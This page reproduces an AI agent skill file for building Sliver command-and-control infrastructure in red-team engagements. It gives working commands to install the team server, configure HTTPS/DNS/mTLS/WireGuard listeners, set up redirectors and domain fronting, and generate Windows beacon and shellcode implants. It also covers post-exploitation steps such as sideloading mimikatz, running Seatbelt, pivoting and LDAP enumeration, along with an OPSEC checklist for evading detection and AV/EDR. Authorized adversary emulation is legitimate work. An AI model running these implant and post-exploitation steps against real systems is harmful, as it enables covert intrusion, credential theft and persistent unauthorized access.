What it does. Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection. Part of mukul975/Anthropic-Cybersecurity-Skills (817 security skills) (mukul975/Anthropic-Cybersecurity-Skills).

Install

• npx skills add mukul975/Anthropic-Cybersecurity-Skills --skill building-c2-infrastructure-with-sliver-framework, or copy the skill folder into ~/.claude/skills/building-c2-infrastructure-with-sliver-framework/.
• Raw file: curl -sL https://raw.githubusercontent.com/mukul975/Anthropic-Cybersecurity-Skills/HEAD/skills/building-c2-infrastructure-with-sliver-framework/SKILL.md

SKILL.md (verbatim)

name: building-c2-infrastructure-with-sliver-framework
description: Deploy and harden a Sliver C2 team server (BishopFox's Go-based adversary emulation framework) with multi-protocol listeners (mTLS, HTTP/S, DNS, WireGuard), redirectors, domain fronting, and multi-operator support for authorized red-team operations. Use when standing up resilient C2 for a red-team engagement or generating beacon/session implants that must survive blue-team detection.
domain: cybersecurity
subdomain: red-teaming
tags:
- red-team
- c2-framework
- sliver
- command-and-control
- adversary-simulation
- infrastructure
- post-exploitation
version: '1.0'
author: mahipal
license: Apache-2.0
d3fend_techniques:
- File Metadata Consistency Validation
- Certificate Analysis
- Application Protocol Command Analysis
- Content Format Conversion
- File Content Analysis
nist_csf:
- ID.RA-01
- GV.OV-02
- DE.AE-07
mitre_attack:
- T1071.001
- T1071.004
- T1573.002
- T1090.002
- T1105
- T1572

Building C2 Infrastructure with Sliver Framework

Overview

Sliver is an open-source, cross-platform adversary emulation framework developed by BishopFox, written in Go. It provides red teams with implant generation, multi-protocol C2 channels (mTLS, HTTP/S, DNS, WireGuard), multi-operator support, and extensive post-exploitation capabilities. Sliver supports beacon (asynchronous) and session (interactive) modes, making it suitable for both long-haul operations and interactive exploitation. A properly architected Sliver infrastructure uses redirectors, domain fronting, and HTTPS certificates to maintain operational resilience and avoid detection.

When to Use

• When deploying or configuring building c2 infrastructure with sliver framework capabilities in your environment
• When establishing security controls aligned to compliance requirements
• When building or improving security architecture for this domain
• When conducting security assessments that require this implementation

Prerequisites

• Familiarity with red teaming concepts and tools
• Access to a test or lab environment for safe execution
• Python 3.8+ with required dependencies installed
• Appropriate authorization for any testing activities

Objectives

• Deploy a Sliver team server on hardened cloud infrastructure
• Configure HTTPS, mTLS, DNS, and WireGuard listeners
• Generate implants (beacons and sessions) for target platforms
• Set up NGINX or Apache redirectors between implants and the team server
• Implement Cloudflare or CDN-based domain fronting for traffic obfuscation
• Configure multi-operator access with certificate-based authentication
• Establish operational security controls for C2 communications

MITRE ATT&CK Mapping

• T1071.001 - Application Layer Protocol: Web Protocols
• T1071.004 - Application Layer Protocol: DNS
• T1573.002 - Encrypted Channel: Asymmetric Cryptography
• T1090.002 - Proxy: External Proxy (Redirectors)
• T1105 - Ingress Tool Transfer
• T1132.001 - Data Encoding: Standard Encoding
• T1572 - Protocol Tunneling

Workflow

Phase 1: Team Server Deployment

1. Provision a VPS (e.g., DigitalOcean, Linode, AWS EC2) for the team server
2. Harden the OS: disable SSH password auth, configure UFW/iptables, install fail2ban
3. Install Sliver using the official install script:

   curl https://sliver.sh/install | sudo bash
   

4. Start the Sliver server daemon:

   systemctl start sliver
   # Or run interactively
   sliver-server
   

5. Generate operator configuration files for team members:

   new-operator --name operator1 --lhost <team-server-ip>
   

Phase 2: Listener Configuration

1. Configure an HTTPS listener with a legitimate SSL certificate:

   https --lhost 0.0.0.0 --lport 443 --domain c2.example.com --cert /path/to/cert.pem --key /path/to/key.pem
   

2. Configure a DNS listener for fallback C2:

   dns --domains c2dns.example.com --lport 53
   

3. Configure mTLS listener for high-security sessions:

   mtls --lhost 0.0.0.0 --lport 8888
   

4. Configure WireGuard listener for tunneled access:

   wg --lport 51820
   

Phase 3: Redirector Setup

1. Deploy a separate VPS as a redirector (positioned between targets and team server)
2. Install and configure NGINX as a reverse proxy:

   server {
       listen 443 ssl;
       server_name c2.example.com;
       ssl_certificate /etc/letsencrypt/live/c2.example.com/fullchain.pem;
       ssl_certificate_key /etc/letsencrypt/live/c2.example.com/privkey.pem;
   
       location / {
           proxy_pass https://<team-server-ip>:443;
           proxy_ssl_verify off;
           proxy_set_header Host $host;
           proxy_set_header X-Real-IP $remote_addr;
       }
   }
   

3. Configure iptables rules on the team server to only accept connections from the redirector:

   iptables -A INPUT -p tcp --dport 443 -s <redirector-ip> -j ACCEPT
   iptables -A INPUT -p tcp --dport 443 -j DROP
   

4. Optionally set up Cloudflare as a CDN layer in front of the redirector for domain fronting

Phase 4: Implant Generation

1. Generate an HTTPS beacon implant:

   generate beacon --http https://c2.example.com --os windows --arch amd64 --format exe --name payload
   

2. Generate a DNS beacon for restricted networks:

   generate beacon --dns c2dns.example.com --os windows --arch amd64
   

3. Generate a shellcode payload for injection:

   generate --http https://c2.example.com --os windows --arch amd64 --format shellcode
   

4. Configure beacon jitter and callback intervals:

   generate beacon --http https://c2.example.com --seconds 60 --jitter 30
   

Phase 5: Post-Exploitation Operations

1. Interact with active beacons/sessions:

   beacons        # List active beacons
   use <beacon-id> # Interact with a beacon
   

2. Execute post-exploitation modules:

   ps              # Process listing
   netstat         # Network connections
   execute-assembly /path/to/Seatbelt.exe -group=all  # Run .NET assemblies
   sideload /path/to/mimikatz.dll  # Load DLLs
   

3. Set up pivots for internal network access:

   pivots tcp --bind 0.0.0.0:9898  # Create pivot listener on compromised host
   

4. Use BOF (Beacon Object Files) for in-memory execution:

   armory install sa-ldapsearch  # Install from armory
   sa-ldapsearch -- "(objectClass=user)"  # Execute BOF
   

Tools and Resources

Detection Signatures

Validation Criteria

• Team server deployed and hardened with firewall rules
• HTTPS listener configured with valid SSL certificate
• DNS listener configured as fallback C2 channel
• At least one redirector deployed between targets and team server
• Multi-operator access configured with unique certificates
• Implants generated for target operating systems
• Beacon callback intervals and jitter configured for stealth
• Post-exploitation modules tested (process listing, .NET assembly execution)
• Pivot functionality validated for internal network access
• All C2 traffic encrypted and passing through redirectors

Other files in this skill

• LICENSE
• assets/template.md
• references/api-reference.md
• references/standards.md
• references/workflows.md
• scripts/agent.py
• scripts/process.py

assets/template.md (verbatim)

Sliver C2 Infrastructure Configuration Template

Engagement Information

Team Server Configuration

Listener Configuration

Redirector Configuration

Operator Access

Domain Configuration

Implant Inventory

OPSEC Checklist

• Team server IP not directly exposed to target network
• All C2 traffic routed through redirectors
• SSL certificates use categorized/aged domains
• DNS C2 domain registered with privacy protection
• Beacon intervals randomized with jitter
• Implant names do not reveal engagement details
• Operator configs distributed via secure channel
• Kill date configured on all implants

references/api-reference.md (verbatim)

API Reference: Sliver C2 Framework

Sliver CLI Commands

Generate Options

Listener Types

Post-Exploitation

execute-assembly     # .NET assembly in memory
sideload             # DLL sideloading
shell                # Interactive shell
upload/download      # File transfer
portfwd              # Port forwarding
socks5               # SOCKS5 proxy

Sliver gRPC API (Protobuf)

import grpc
from sliverpb import client_pb2_grpc
channel = grpc.secure_channel("localhost:31337", credentials)
stub = client_pb2_grpc.SliverRPCStub(channel)

references/standards.md (verbatim)

Standards and References - Sliver C2 Infrastructure

MITRE ATT&CK References

Industry Standards

• PTES (Penetration Testing Execution Standard) - Post-Exploitation and C2 sections
• OWASP Testing Guide - Infrastructure testing methodology
• NIST SP 800-115 - Technical Guide to Information Security Testing and Assessment
• TIBER-EU - Threat Intelligence-Based Ethical Red Teaming framework

Official Documentation

• Sliver GitHub: https://github.com/BishopFox/sliver
• Sliver Wiki: https://github.com/BishopFox/sliver/wiki
• Sliver Armory: https://github.com/sliverarmory

Key Research

• BishopFox Red Team Tools and C2 Frameworks Report (2025)
• SpecterOps Adversary Simulation methodology
• SANS SEC565: Red Team Operations and Adversary Emulation

references/workflows.md (verbatim)

Workflows - Sliver C2 Infrastructure

Infrastructure Deployment Workflow

1. Planning Phase
   ├── Define engagement scope and authorized targets
   ├── Select cloud providers for team server and redirectors
   ├── Register domains for C2 channels (categorized domains preferred)
   └── Obtain SSL certificates (Let's Encrypt or purchased)

2. Team Server Setup
   ├── Deploy VPS with hardened OS configuration
   ├── Install Sliver server daemon
   ├── Configure firewall rules (restrict to redirector IPs only)
   └── Generate operator configs for team members

3. Redirector Layer
   ├── Deploy 2+ redirector VPS instances in different regions
   ├── Configure NGINX reverse proxy on each redirector
   ├── Implement Apache mod_rewrite rules for traffic filtering
   └── Optionally add Cloudflare CDN layer

4. Listener Configuration
   ├── HTTPS listener (primary) with valid SSL cert
   ├── DNS listener (fallback) for restricted networks
   ├── mTLS listener (high-security sessions)
   └── WireGuard listener (tunneled access)

5. Implant Generation
   ├── Generate OS-specific beacons (Windows, Linux, macOS)
   ├── Configure callback intervals and jitter
   ├── Test implant connectivity through redirector chain
   └── Validate implant evasion against target AV/EDR

6. Operational Use
   ├── Deploy implant to target via initial access vector
   ├── Establish C2 session through redirector infrastructure
   ├── Execute post-exploitation tasks
   └── Maintain operational security throughout engagement

Failover and Resilience Workflow

Primary C2 Path:
  Target → Redirector A → Team Server (HTTPS/443)

Failover Path 1:
  Target → Redirector B → Team Server (HTTPS/8443)

Failover Path 2:
  Target → DNS Resolver → Team Server (DNS/53)

Emergency Path:
  Target → WireGuard Tunnel → Team Server (UDP/51820)

Multi-Operator Workflow

1. Team Lead generates operator configs:
   sliver-server > new-operator --name <operator> --lhost <server-ip>

2. Distribute .cfg files securely to each operator

3. Operators connect using Sliver client:
   sliver-client import <operator-config.cfg>

4. All operators share access to beacons and sessions
5. Use naming conventions for implants per operator

Back to mukul975/Anthropic-Cybersecurity-Skills (817 security skills) or Agent skills.